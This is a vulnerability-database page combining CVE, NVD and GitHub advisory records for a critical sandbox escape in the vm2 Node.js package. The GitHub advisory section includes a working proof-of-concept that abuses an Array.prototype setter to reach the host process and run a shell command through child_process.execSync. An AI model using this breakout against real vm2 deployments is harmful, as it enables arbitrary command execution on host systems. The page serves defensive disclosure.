Vulnerability-Lookup

CVE-2026-44008 (GCVE-0-2026-44008)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:35 – Updated: 2026-05-15 03:55

Title

vm2: Snabox breakout via `neutralizeArraySpeciesBatch`

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-668 - Exposure of Resource to Wrong Sphere

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: < 3.11.2

Show details on NVD website

JSON

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FKIE_CVE-2026-44008

Vulnerability from fkie_nvd - Published: 2026-05-13 18:16 - Updated: 2026-05-14 15:17

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	vm2_project	vm2	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "9CB5A61C-3393-4F75-B18E-40EB5A69165C",
              "versionEndExcluding": "3.11.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2."
    }
  ],
  "id": "CVE-2026-44008",
  "lastModified": "2026-05-14T15:17:59.563",
  "metrics": {
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      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-13T18:16:17.667",
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    }
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GHSA-9QJ6-QJGG-37QQ

Vulnerability from github – Published: 2026-05-08 15:58 – Updated: 2026-05-14 20:37

Summary

vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
    set(value) {
        a.f = Buffer.prototype.inspect;
        value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
    }
});
new Buffer(a);
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T15:58:48Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst a = [];\nObject.defineProperty(Array.prototype, 0, {\n\tset(value) {\n\t\ta.f = Buffer.prototype.inspect;\n\t\tvalue.arr.f.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t}\n});\nnew Buffer(a);\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "id": "GHSA-9qj6-qjgg-37qq",
  "modified": "2026-05-14T20:37:08Z",
  "published": "2026-05-08T15:58:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44008"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44008 (GCVE-0-2026-44008)

FKIE_CVE-2026-44008

GHSA-9QJ6-QJGG-37QQ

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature